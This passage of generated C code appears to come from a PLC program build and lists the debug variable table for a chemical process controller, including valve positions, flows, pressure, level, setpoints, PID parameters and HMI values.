BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), 